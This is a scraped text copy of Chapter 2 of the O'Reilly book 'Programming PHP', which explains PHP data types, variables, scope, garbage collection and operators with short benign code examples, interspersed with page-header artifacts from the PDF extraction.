StringsBecause strings are so common in web applications, PHP includes core-level supportfor creating and manipulating strings. A string is a sequence of characters of arbi-trary length. String literals are delimited by either single or double quotes:

'big dog'"fat hog"

Variables are expanded within double quotes, while within single quotes they arenot:

$name = "Guido";echo "Hi, $name\n";echo 'Hi, $name';Hi, GuidoHi, $name

Double quotes also support a variety of string escapes, as listed in Table 2-2.

Table 2-2. Escape sequences in double-quoted strings

Escape sequence Character represented

\" Double quotes

\n Newline

,ch02.15294 Page 25 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (26)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

26 | Chapter 2: Language Basics

A single-quoted string only recognizes \\ to get a literal backslash and \' to get a lit-eral single quote:

$dos_path = 'C:\\WINDOWS\\SYSTEM';$publisher = 'Tim O\'Reilly';echo "$dos_path $publisher\n";C:\WINDOWS\SYSTEM Tim O'Reilly

To test whether two strings are equal, use the == comparison operator:

if ($a == $b) { echo "a and b are equal" }

Use the is_string( ) function to test whether a value is a string:

if (is_string($x)) { // $x is a string}

PHP provides operators and functions to compare, disassemble, assemble, search,replace, and trim strings, as well as a host of specialized string functions for workingwith HTTP, HTML, and SQL encodings. Because there are so many string-manipula-tion functions, we’ve devoted a whole chapter (Chapter 4) to covering all the details.

BooleansA boolean value represents a “truth value”—it says whether something is true or not.Like most programming languages, PHP defines some values as true and others asfalse. Truth and falseness determine the outcome of conditional code such as:

if ($alive) { ... }

In PHP, the following values are false:

• The keyword false

• The integer 0

• The floating-point value 0.0

\r Carriage return

\t Tab

\\ Backslash

\$ Dollar sign

\{ Left brace

\} Right brace

\[ Left bracket

\] Right bracket

\0 through \777 ASCII character represented by octal value

\x0 through \xFF ASCII character represented by hex value

Table 2-2. Escape sequences in double-quoted strings (continued)

Escape sequence Character represented

,ch02.15294 Page 26 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (27)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Data Types | 27

• The empty string ("") and the string "0"

• An array with zero elements

• An object with no values or functions

• The NULL value

Any value that is not false is true, including all resource values (which are describedlater, in the “Resources” section).

PHP provides true and false keywords for clarity:

$x = 5; // $x has a true value$x = true; // clearer way to write it$y = ""; // $y has a false value$y = false; // clearer way to write it

Use the is_bool( ) function to test whether a value is a boolean:

if (is_bool($x)) { // $x is a boolean}

ArraysAn array holds a group of values, which you can identify by position (a number, withzero being the first position) or some identifying name (a string):

$person[0] = "Edison";$person[1] = "Wankel";$person[2] = "Crapper";

$creator['Light bulb'] = "Edison";$creator['Rotary Engine'] = "Wankel";$creator['Toilet'] = "Crapper";

The array( ) construct creates an array:

$person = array('Edison', 'Wankel', 'Crapper');$creator = array('Light bulb' => 'Edison', 'Rotary Engine' => 'Wankel', 'Toilet' => 'Crapper');

There are several ways to loop across arrays, but the most common is a foreach loop:

foreach ($person as $name) { echo "Hello, $name\n";}foreach ($creator as $invention => $inventor) { echo "$inventor created the $invention\n";}Hello, EdisonHello, WankelHello, CrapperEdison created the Light bulbWankel created the Rotary EngineCrapper created the Toilet

,ch02.15294 Page 27 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (28)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

28 | Chapter 2: Language Basics

You can sort the elements of an array with the various sort functions:

sort($person);// $person is now array('Crapper', 'Edison', 'Wankel')

asort($creator);// $creator is now array('Toilet' => 'Crapper',// 'Light bulb' => 'Edison',// 'Rotary Engine' => 'Wankel');

Use the is_array( ) function to test whether a value is an array:

if (is_array($x)) { // $x is an array}

There are functions for returning the number of items in the array, fetching everyvalue in the array, and much more. Arrays are described in Chapter 5.

ObjectsPHP supports object-oriented programming (OOP). OOP promotes clean modulardesign, simplifies debugging and maintenance, and assists with code reuse.

Classes are the unit of object-oriented design. A class is a definition of a structurethat contains properties (variables) and methods (functions). Classes are definedwith the class keyword:

class Person { var $name = '';

function name ($newname = NULL) { if (! is_null($newname)) { $this->name = $newname; } return $this->name; }}

Once a class is defined, any number of objects can be made from it with the new key-word, and the properties and methods can be accessed with the -> construct:

$ed = new Person;$ed->name('Edison');printf("Hello, %s\n", $ed->name);$tc = new Person;$tc->name('Crapper');printf("Look out below %s\n", $tc->name);Hello, EdisonLook out below Crapper

Use the is_object( ) function to test whether a value is an object:

if (is_object($x)) { // $x is an object}

,ch02.15294 Page 28 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (29)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Data Types | 29

Chapter 6 describes classes and objects in much more detail, including inheritance,encapsulation (or the lack thereof), and introspection.

ResourcesMany modules provide several functions for dealing with the outside world. Forexample, every database extension has at least a function to connect to the database,a function to send a query to the database, and a function to close the connection tothe database. Because you can have multiple database connections open at once, theconnect function gives you something by which to identify that connection when youcall the query and close functions: a resource.

Resources are really integers under the surface. Their main benefit is that they’re gar-bage collected when no longer in use. When the last reference to a resource valuegoes away, the extension that created the resource is called to free any memory, closeany connection, etc. for that resource:

$res = database_connect( ); // fictitious functiondatabase_query($res);$res = "boo"; // database connection automatically closed

The benefit of this automatic cleanup is best seen within functions, when theresource is assigned to a local variable. When the function ends, the variable’s valueis reclaimed by PHP:

function search ( ) { $res = database_connect( ); $database_query($res);}

When there are no more references to the resource, it’s automatically shut down.

That said, most extensions provide a specific shutdown or close function, and it’sconsidered good style to call that function explicitly when needed rather than to relyon variable scoping to trigger resource cleanup.

Use the is_resource( ) function to test whether a value is a resource:

if (is_resource($x)) { // $x is a resource}

NULLThere’s only one value of the NULL data type. That value is available through thecase-insensitive keyword NULL. The NULL value represents a variable that has no value(similar to Perl’s undef or Python’s None):

$aleph = "beta";$aleph = null; // variable's value is gone$aleph = Null; // same$aleph = NULL; // same

,ch02.15294 Page 29 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (30)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

30 | Chapter 2: Language Basics

Use the is_null( ) function to test whether a value is NULL—for instance, to seewhether a variable has a value:

if (is_null($x)) { // $x is NULL}

VariablesVariables in PHP are identifiers prefixed with a dollar sign ($). For example:

$name$Age$_debugging$MAXIMUM_IMPACT

A variable may hold a value of any type. There is no compile- or runtime type check-ing on variables. You can replace a variable’s value with another of a different type:

$what = "Fred";$what = 35;$what = array('Fred', '35', 'Wilma');

There is no explicit syntax for declaring variables in PHP. The first time the value ofa variable is set, the variable is created. In other words, setting a variable functions asa declaration. For example, this is a valid complete PHP program:

$day = 60 * 60 * 24;echo "There are $day seconds in a day.\n";There are 86400 seconds in a day.

A variable whose value has not been set behaves like the NULL value:

if ($uninitialized_variable === NULL) { echo "Yes!";}Yes

Variable VariablesYou can reference the value of a variable whose name is stored in another variable.For example:

$foo = 'bar';$$foo = 'baz';

After the second statement executes, the variable $bar has the value "baz".

Variable ReferencesIn PHP, references are how you create variable aliases. To make $black an alias forthe variable $white, use:

$black =& $white;

,ch02.15294 Page 30 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (31)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Variables | 31

The old value of $black is lost. Instead, $black is now another name for the valuethat is stored in $white:

$big_long_variable_name = "PHP";$short =& $big_long_variable_name;$big_long_variable_name .= " rocks!";print "\$short is $short\n";print "Long is $big_long_variable_name\n";$short is PHP rocks!Long is PHP rocks!$short = "Programming $short";print "\$short is $short\n";print "Long is $big_long_variable_name\n";$short is Programming PHP rocks!Long is Programming PHP rocks!

After the assignment, the two variables are alternate names for the same value.Unsetting a variable that is aliased does not affect other names for that variable’svalue, though:

$white = "snow";$black =& $white;unset($white);print $black;snow

Functions can return values by reference (for example, to avoid copying large stringsor arrays, as discussed in Chapter 3):

function &ret_ref() { // note the & $var = "PHP"; return $var;}

$v =& ret_ref(); // note the &

Variable ScopeThe scope of a variable, which is controlled by the location of the variable’s declara-tion, determines those parts of the program that can access it. There are four types ofvariable scope in PHP: local, global, static, and function parameters.

Local scope

A variable declared in a function is local to that function. That is, it is visible only tocode in that function (including nested function definitions); it is not accessible out-side the function. In addition, by default, variables defined outside a function (calledglobal variables) are not accessible inside the function. For example, here’s a func-tion that updates a local variable instead of a global variable:

function update_counter ( ) { $counter++;}

,ch02.15294 Page 31 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (32)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

32 | Chapter 2: Language Basics

$counter = 10;update_counter( );echo $counter;10

The $counter inside the function is local to that function, because we haven’t saidotherwise. The function increments its private $counter, whose value is thrown awaywhen the subroutine ends. The global $counter remains set at 10.

Only functions can provide local scope. Unlike in other languages, in PHP you can’tcreate a variable whose scope is a loop, conditional branch, or other type of block.

Global scope

Variables declared outside a function are global. That is, they can be accessed fromany part of the program. However, by default, they are not available inside func-tions. To allow a function to access a global variable, you can use the global key-word inside the function to declare the variable within the function. Here’s how wecan rewrite the update_counter( ) function to allow it to access the global $countervariable:

function update_counter ( ) { global $counter; $counter++;}$counter = 10;update_counter( );echo $counter;11

A more cumbersome way to update the global variable is to use PHP’s $GLOBALS arrayinstead of accessing the variable directly:

function update_counter ( ) { $GLOBALS[counter]++;}$counter = 10;update_counter( );echo $counter;11

Static variables

A static variable retains its value between calls to a function but is visible only withinthat function. You declare a variable static with the static keyword. For example:

function update_counter ( ) { static $counter = 0; $counter++; echo "Static counter is now $counter\n";}$counter = 10;

,ch02.15294 Page 32 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (33)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Variables | 33

update_counter( );update_counter( );echo "Global counter is $counter\n";Static counter is now 1Static counter is now 2Global counter is 10

Function parameters

As we’ll discuss in more detail in Chapter 3, a function definition can have namedparameters:

function greet ($name) { echo "Hello, $name\n";}greet("Janet");Hello, Janet

Function parameters are local, meaning that they are available only inside their func-tions. In this case, $name is inaccessible from outside greet( ).

Garbage CollectionPHP uses reference counting and copy-on-write to manage memory. Copy-on-writeensures that memory isn’t wasted when you copy values between variables, and ref-erence counting ensures that memory is returned to the operating system when it isno longer needed.

To understand memory management in PHP, you must first understand the idea of asymbol table. There are two parts to a variable—its name (e.g., $name), and its value(e.g., "Fred"). A symbol table is an array that maps variable names to the positions oftheir values in memory.

When you copy a value from one variable to another, PHP doesn’t get more memoryfor a copy of the value. Instead, it updates the symbol table to say “both of thesevariables are names for the same chunk of memory.” So the following code doesn’tactually create a new array:

$worker = array("Fred", 35, "Wilma");$other = $worker; // array isn't copied

If you then modify either copy, PHP allocates the memory and makes the copy:

$worker[1] = 36; // array is copied, value changed

By delaying the allocation and copying, PHP saves time and memory in a lot of situa-tions. This is copy-on-write.

Each value pointed to by a symbol table has a reference count, a number that repre-sents the number of ways there are to get to that piece of memory. After the initialassignment of the array to $worker and $worker to $other, the array pointed to by the

,ch02.15294 Page 33 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (34)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

34 | Chapter 2: Language Basics

symbol table entries for $worker and $other has a reference count of 2.* In otherwords, that memory can be reached two ways: through $worker or $other. But after$worker[1] is changed, PHP creates a new array for $worker, and the reference countof each of the arrays is only 1.

When a variable goes out of scope (as a function parameter or local variable does atthe end of a function), the reference count of its value is decreased by one. When avariable is assigned a value in a different area of memory, the reference count of theold value is decreased by one. When the reference count of a value reaches 0, itsmemory is freed. This is reference counting.

Reference counting is the preferred way to manage memory. Keep variables local tofunctions, pass in values that the functions need to work on, and let reference count-ing take care of freeing memory when it’s no longer needed. If you do insist on try-ing to get a little more information or control over freeing a variable’s value, use theisset( ) and unset( ) functions.

To see if a variable has been set to something, even the empty string, use isset( ):

$s1 = isset($name); // $s1 is false$name = "Fred";$s2 = isset($name); // $s2 is true

Use unset( ) to remove a variable’s value:

$name = "Fred";unset($name); // $name is NULL

Expressions and OperatorsAn expression is a bit of PHP that can be evaluated to produce a value. The simplestexpressions are literal values and variables. A literal value evaluates to itself, while avariable evaluates to the value stored in the variable. More complex expressions canbe formed using simple expressions and operators.

An operator takes some values (the operands) and does something (for instance, addsthem together). Operators are written as punctuation symbols—for instance, the + and– familiar to us from math. Some operators modify their operands, while most do not.

Table 2-3 summarizes the operators in PHP, many of which were borrowed from Cand Perl. The column labeled “P” gives the operator’s precedence; the operators arelisted in precedence order, from highest to lowest. The column labeled “A” gives theoperator’s associativity, which can be L (left-to-right), R (right-to-left), or N (non-associative).

* It is actually 3 if you are looking at the reference count from the C API, but for the purposes of this explana-tion and from a user-space perspective, it is easier to think of it as 2.

,ch02.15294 Page 34 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (35)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 35

Table 2-3. PHP operators

P A Operator Operation

19 N new Create new object

18 R [ Array subscript

17 R ! Logical NOT

R ~ Bitwise NOT

R ++ Increment

R -- Decrement

R (int), (double), (string), (array), (object) Cast

R @ Inhibit errors

16 L * Multiplication

L / Division

L % Modulus

15 L + Addition

L - Subtraction

L . String concatenation

14 L << Bitwise shift left

L >> Bitwise shift right

13 N <, <= Less than, less than or equal

N >, >= Greater than, greater than or equal

12 N == Value equality

N !=, <> Inequality

N === Type and value equality

N !== Type and value inequality

11 L & Bitwise AND

10 L ^ Bitwise XOR

9 L | Bitwise OR

8 L && Logical AND

7 L || Logical OR

6 L ?: Conditional operator

5 L = Assignment

L +=, -=, *=, /=, .=, %=, &=, |=, ^=, ~=, <<=, >>= Assignment with operation

4 L and Logical AND

3 L xor Logical XOR

2 L or Logical OR

1 L , List separator

,ch02.15294 Page 35 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (36)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

36 | Chapter 2: Language Basics

Number of OperandsMost operators in PHP are binary operators; they combine two operands (or expres-sions) into a single, more complex expression. PHP also supports a number of unaryoperators, which convert a single expression into a more complex expression.Finally, PHP supports a single ternary operator that combines three expressions intoa single expression.

Operator PrecedenceThe order in which operators in an expression are evaluated depends on their rela-tive precedence. For example, you might write:

2 + 4 * 3

As you can see in Table 2-3, the addition and multiplication operators have differentprecedence, with multiplication higher than addition. So the multiplication happensbefore the addition, giving 2 + 12, or 14, as the answer. If the precedence of additionand multiplication were reversed, 6 * 3, or 18, would be the answer.

To force a particular order, you can group operands with the appropriate operator inparentheses. In our previous example, to get the value 18, you can use this expression:

(2 + 4) * 3

It is possible to write all complex expressions (expressions containing more than asingle operator) simply by putting the operands and operators in the appropriateorder so that their relative precedence yields the answer you want. Most program-mers, however, write the operators in the order that they feel makes the most senseto programmers, and add parentheses to ensure it makes sense to PHP as well. Get-ting precedence wrong leads to code like:

$x + 2 / $y >= 4 ? $z : $x << $z

This code is hard to read and is almost definitely not doing what the programmerexpected it to do.

One way many programmers deal with the complex precedence rules in program-ming languages is to reduce precedence down to two rules:

• Multiplication and division have higher precedence than addition and subtraction.

• Use parentheses for anything else.

Operator AssociativityAssociativity defines the order in which operators with the same order of precedenceare evaluated. For example, look at:

2 / 2 * 2

,ch02.15294 Page 36 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (37)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 37

The division and multiplication operators have the same precedence, but the resultof the expression depends on which operation we do first:

2/(2*2) // 0.5(2/2)*2 // 2

The division and multiplication operators are left-associative; this means that incases of ambiguity, the operators are evaluated from left to right. In this example, thecorrect result is 2.

Implicit CastingMany operators have expectations of their operands—for instance, binary mathoperators typically require both operands to be of the same type. PHP’s variables canstore integers, floating-point numbers, strings, and more, and to keep as much of thetype details away from the programmer as possible, PHP converts values from onetype to another as necessary.

The conversion of a value from one type to another is called casting. This kind ofimplicit casting is called type juggling in PHP. The rules for the type juggling done byarithmetic operators are shown in Table 2-4.

Some other operators have different expectations of their operands, and thus havedifferent rules. For example, the string concatenation operator converts both oper-ands to strings before concatenating them:

3 . 2.74 // gives the string 32.74

You can use a string anywhere PHP expects a number. The string is presumed tostart with an integer or floating-point number. If no number is found at the start ofthe string, the numeric value of that string is 0. If the string contains a period (.) orupper- or lowercase e, evaluating it numerically produces a floating-point number.For example:

"9 Lives" – 1; // 8 (int)"3.14 Pies" * 2; // 6.28 (float)"9 Lives." – 1; // 8 (float)"1E3 Points of Light" + 1; // 1001 (float)

Table 2-4. Implicit casting rules for binary arithmetic operations

Type of first operand Type of second operand Conversion performed

Integer Floating point The integer is converted to a floating-point number

Integer String The string is converted to a number; if the value after conversion is afloating-point number, the integer is converted to a floating-pointnumber

Floating point String The string is converted to a floating-point number

,ch02.15294 Page 37 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (38)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

38 | Chapter 2: Language Basics

Arithmetic OperatorsThe arithmetic operators are operators you’ll recognize from everyday use. Most ofthe arithmetic operators are binary; however, the arithmetic negation and arithmeticassertion operators are unary. These operators require numeric values, and non-numeric values are converted into numeric values by the rules described in the latersection “Casting Operators.” The arithmetic operators are:

Addition (+)The result of the addition operator is the sum of the two operands.

Subtraction (-)The result of the subtraction operator is the difference between the two oper-ands; i.e., the value of the second operand subtracted from the first.

Multiplication (*)The result of the multiplication operator is the product of the two operands. Forexample, 3 * 4 is 12.

Division (/)The result of the division operator is the quotient of the two operands. Dividingtwo integers can give an integer (e.g., 4/2) or a floating-point result (e.g., 1/2).

Modulus (%)The modulus operator converts both operands to integers and returns theremainder of the division of the first operand by the second operand. For exam-ple, 10 % 6 is 4.

Arithmetic negation (-)The arithmetic negation operator returns the operand multiplied by –1, effec-tively changing its sign. For example, -(3 - 4) evaluates to 1. Arithmetic nega-tion is different from the subtraction operator, even though they both are writtenas a minus sign. Arithmetic negation is always unary and before the operand.Subtraction is binary and between its operands.

Arithmetic assertion (+)The arithmetic assertion operator returns the operand multiplied by +1, whichhas no effect. It is used only as a visual cue to indicate the sign of a value. Forexample, +(3 – 4) evaluates to -1, just as (3 – 4) does.

String Concatenation OperatorManipulating strings is such a core part of PHP applications that PHP has a separatestring concatenation operator (.). The concatenation operator appends the right-hand operand to the lefthand operand and returns the resulting string. Operands arefirst converted to strings, if necessary. For example:

$n = 5;$s = 'There were ' . $n . ' ducks.';// $s is 'There were 5 ducks'

,ch02.15294 Page 38 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (39)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 39

Autoincrement and Autodecrement OperatorsIn programming, one of the most common operations is to increase or decrease thevalue of a variable by one. The unary autoincrement (++) and autodecrement (––)operators provide shortcuts for these common operations. These operators areunique in that they work only on variables; the operators change their operands’ val-ues as well as returning a value.

There are two ways to use autoincrement or autodecrement in expressions. If youput the operator in front of the operand, it returns the new value of the operand(incremented or decremented). If you put the operator after the operand, it returnsthe original value of the operand (before the increment or decrement). Table 2-5 liststhe different operations.

These operators can be applied to strings as well as numbers. Incrementing an alpha-betic character turns it into the next letter in the alphabet. As illustrated in Table 2-6,incrementing "z" or "Z" wraps it back to "a" or "Z" and increments the previouscharacter by one, as though the characters were in a base-26 number system.

Comparison OperatorsAs their name suggests, comparison operators compare operands. The result isalways either true, if the comparison is truthful, or false, otherwise.

Operands to the comparison operators can be both numeric, both string, or onenumeric and one string. The operators check for truthfulness in slightly differentways based on the types and values of the operands, either using strictly numericcomparisons or using lexicographic (textual) comparisons. Table 2-7 outlines wheneach type of check is used.

Table 2-5. Autoincrement and autodecrement operations

Operator Name Value returned Effect on $var

$var++ Post-increment $var Incremented

++$var Pre-increment $var + 1 Incremented

$var-- Post-decrement $var Decremented

--$var Pre-decrement $var – 1 Decremented

Table 2-6. Autoincrement with letters

Incrementing this Gives this

"a" "b"

"z" "aa"

"spaz" "spba"

"K9" "L0"

"42" "43"

,ch02.15294 Page 39 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (40)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

40 | Chapter 2: Language Basics

One important thing to note is that two numeric strings are compared as if they werenumbers. If you have two strings that consist entirely of numeric characters and youneed to compare them lexicographically, use the strcmp( ) function.

The comparison operators are:

Equality (==)If both operands are equal, this operator returns true; otherwise, it returns false.

Identical (===)If both operands are equal and are of the same type, this operator returns true;otherwise, it returns false. Note that this operator does not do implicit typecasting. This operator is useful when you don’t know if the values you’re com-paring are of the same type. Simple comparison may involve value conversion.For instance, the strings "0.0" and "0" are not equal. The == operator says theyare, but === says they are not.

Inequality (!= or <>)If both operands are not equal, this operator returns true; otherwise, it returnsfalse.

Not identical (!==)If both operands are not equal, or they are not of the same type, this operatorreturns true; otherwise, it returns false.

Greater than (>)If the lefthand operator is greater than the righthand operator, this operatorreturns true; otherwise, it returns false.

Greater than or equal to (>=)If the lefthand operator is greater than or equal to the righthand operator, thisoperator returns true; otherwise, it returns false.

Less than (<)If the lefthand operator is less than the righthand operator, this operator returnstrue; otherwise, it returns false.

Less than or equal to (<=)If the lefthand operator is less than or equal to the righthand operator, this oper-ator returns true; otherwise, it returns false.

Table 2-7. Type of comparision performed by the comparision operators

First operand Second operand Comparison

Number Number Numeric

String that is entirely numeric String that is entirely numeric Numeric

String that is entirely numeric Number Numeric

String that is not entirely numeric Number Lexicographic

String that is entirely numeric String that is not entirely numeric Lexicographic

String that is not entirely numeric String that is not entirely numeric Lexicographic

,ch02.15294 Page 40 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (41)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 41

Bitwise OperatorsThe bitwise operators act on the binary representation of their operands. Each oper-and is first turned into a binary representation of the value, as described in the bit-wise negation operator entry in the following list. All the bitwise operators work onnumbers as well as strings, but they vary in their treatment of string operands of dif-ferent lengths. The bitwise operators are:

Bitwise negation (~)The bitwise negation operator changes 1s to 0s and 0s to 1s in the binary repre-sentations of the operands. Floating-point values are converted to integers beforethe operation takes place. If the operand is a string, the resulting value is a stringthe same length as the original, with each character in the string negated.

Bitwise AND (&)The bitwise AND operator compares each corresponding bit in the binary repre-sentations of the operands. If both bits are 1, the corresponding bit in the resultis 1; otherwise, the corresponding bit is 0. For example, 0755 & 0671 is 0651. Thisis a bit easier to understand if we look at the binary representation. Octal 0755 isbinary 111101101, and octal 0671 is binary 110111001. We can the easily seewhich bits are on in both numbers and visually come up with the answer:

111101101& 110111001 --------- 110101001

The binary number 110101001 is octal 0651.* You can use the PHP functionsbindec( ), decbin( ), octdec( ), and decoct( ) to convert numbers back and forthwhen you are trying to understand binary arithmetic.

If both operands are strings, the operator returns a string in which each charac-ter is the result of a bitwise AND operation between the two corresponding char-acters in the operands. The resulting string is the length of the shorter of the twooperands; trailing extra characters in the longer string are ignored. For example,"wolf" & "cat" is "cad".

Bitwise OR (|)The bitwise OR operator compares each corresponding bit in the binary repre-sentations of the operands. If both bits are 0, the resulting bit is 0; otherwise, theresulting bit is 1. For example, 0755 | 020 is 0775.

If both operands are strings, the operator returns a string in which each charac-ter is the result of a bitwise OR operation between the two corresponding char-acters in the operands. The resulting string is the length of the longer of the twooperands, and the shorter string is padded at the end with binary 0s. For exam-ple, "puss*" | "cat" is "suwsy".

* Here’s a tip: split the binary number up into three groups. 6 is binary 110, 5 is binary 101, and 1 is binary001; thus, 0651 is 110101001.

,ch02.15294 Page 41 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (42)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

42 | Chapter 2: Language Basics

Bitwise XOR (^)The bitwise XOR operator compares each corresponding bit in the binary rep-resentation of the operands. If either of the bits in the pair, but not both, is 1,the resulting bit is 1; otherwise, the resulting bit is 0. For example, 0755 ^ 023 is776.

If both operands are strings, this operator returns a string in which each charac-ter is the result of a bitwise XOR operation between the two corresponding char-acters in the operands. If the two strings are different lengths, the resulting stringis the length of the shorter operand, and extra trailing characters in the longerstring are ignored. For example, "big drink" ^ "AA" is "#(".

Left shift (<<)The left shift operator shifts the bits in the binary representation of the lefthandoperand left by the number of places given in the righthand operand. Both oper-ands will be converted to integers if they aren’t already. Shifting a binary num-ber to the left inserts a 0 as the rightmost bit of the number and moves all otherbits to the left one place. For example, 3 << 1 (or binary 11 shifted one place left)results in 6 (binary 110).

Note that each place to the left that a number is shifted results in a doubling ofthe number. The result of left shifting is multiplying the lefthand operand by 2 tothe power of the righthand operand.

Right shift (>>)The right shift operator shifts the bits in the binary representation of the left-hand operand right by the number of places given in the righthand operand.Both operands will be converted to integers if they aren’t already. Shifting abinary number to the right inserts a 0 as the leftmost bit of the number andmoves all other bits to the right one place. The rightmost bit is discarded. Forexample, 13 >> 1 (or binary 1101) shifted one place right results in 6 (binary110).

Logical OperatorsLogical operators provide ways for you to build complex logical expressions. Logicaloperators treat their operands as Boolean values and return a Boolean value. Thereare both punctuation and English versions of the operators (|| and or are the sameoperator). The logical operators are:

Logical AND (&&, and)The result of the logical AND operation is true if and only if both operands aretrue; otherwise, it is false. If the value of the first operand is false, the logicalAND operator knows that the resulting value must also be false, so the right-hand operand is never evaluated. This process is called short-circuiting, and acommon PHP idiom uses it to ensure that a piece of code is evaluated only if

,ch02.15294 Page 42 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (43)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 43

something is true. For example, you might connect to a database only if someflag is not false:

$result = $flag and mysql_connect( );

The && and and operators differ only in their precedence.

Logical OR (||, or)The result of the logical OR operation is true if either operand is true; other-wise, the result is false. Like the logical AND operator, the logical OR operatoris short-circuited. If the lefthand operator is true, the result of the operator mustbe true, so the righthand operator is never evaluated. A common PHP idiomuses this to trigger an error condition if something goes wrong. For example:

$result = fopen($filename) or exit( );

The || and or operators differ only in their precedence.

Logical XOR (xor)The result of the logical XOR operation is true if either operand, but not both, istrue; otherwise, it is false.

Logical negation (!)The logical negation operator returns the Boolean value true if the operand eval-uates to false, and false if the operand evaluates to true.

Casting OperatorsAlthough PHP is a weakly typed language, there are occasions when it’s useful toconsider a value as a specific type. The casting operators, (int), (float), (string),(bool), (array), and (object), allow you to force a value into a particular type. Touse a casting operator, put the operator to the left of the operand. Table 2-8 lists thecasting operators, synonymous operands, and the type to which the operator changesthe value.

Casting affects the way other operators interpret a value, rather than changing thevalue in a variable. For example, the code:

$a = "5";$b = (int) $a;

Table 2-8. PHP casting operators

Operator Synonymous operators Changes type to

(int) (integer) Integer

(float) (real) Floating point

(string) String

(bool) (boolean) Boolean

(array) Array

(object) Object

,ch02.15294 Page 43 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (44)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

44 | Chapter 2: Language Basics

assigns $b the integer value of $a; $a remains the string "5". To cast the value of thevariable itself, you must assign the result of a cast back into the variable:

$a = "5"$a = (int) $a; // now $a holds an integer

Not every cast is useful: casting an array to a numeric type gives 1, and casting anarray to a string gives "Array" (seeing this in your output is a sure sign that you’veprinted a variable that contains an array).

Casting an object to an array builds an array of the properties, mapping propertynames to values:

class Person { var $name = "Fred"; var $age = 35;}$o = new Person;$a = (array) $o;print_r($a);Array( [name] => Fred [age] => 35)

You can cast an array to an object to build an object whose properties correspond tothe array’s keys and values. For example:

$a = array('name' => 'Fred', 'age' => 35, 'wife' => 'Wilma');$o = (object) $a;echo $o->name;Fred

Keys that aren’t valid identifiers, and thus are invalid property names, are inaccessi-ble but are restored when the object is cast back to an array.

Assignment OperatorsAssignment operators store or update values in variables. The autoincrement andautodecrement operators we saw earlier are highly specialized assignment opera-tors—here we see the more general forms. The basic assignment operator is =, butwe’ll also see combinations of assignment and binary operations, such as += and &=.

Assignment

The basic assignment operator (=) assigns a value to a variable. The lefthand oper-and is always a variable. The righthand operand can be any expression—any simpleliteral, variable, or complex expression. The righthand operand’s value is stored inthe variable named by the lefthand operand.

,ch02.15294 Page 44 Wednesday, March 13, 2002 11:42 AM

Programming php 1 - [PDF Document] (45)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Expressions and Operators | 45

Because all operators are required to return a value, the assignment operator returnsthe value assigned to the variable. For example, the expression $a = 5 not only assigns5 to $a, but also behaves as the value 5 if used in a larger expression. Consider thefollowing expressions:

$a = 5;$b = 10;$c = ($a = $b);

The expression $a = $b is evaluated first, because of the parentheses. Now, both $a and$b have the same value, 10. Finally, $c is assigned the result of the expression $a = $b,which is the value assigned to the lefthand operand (in this case, $a). When the fullexpression is done evaluating, all three variables contain the same value, 10.

Assignment with operation

In addition to the basic assignment operator, there are several assignment operatorsthat are convenient shorthand. These operators consist of a binary operator fol-lowed directly by an equals sign, and their effect is the same as performing the opera-tion with the operands, then assigning the resulting value to the lefthand operand.These assignment operators are:

Plus-equals (+=)Adds the righthand operand to the value of the lefthand operand, then assignsthe result to the lefthand operand. $a += 5 is the same as $a = $a + 5.

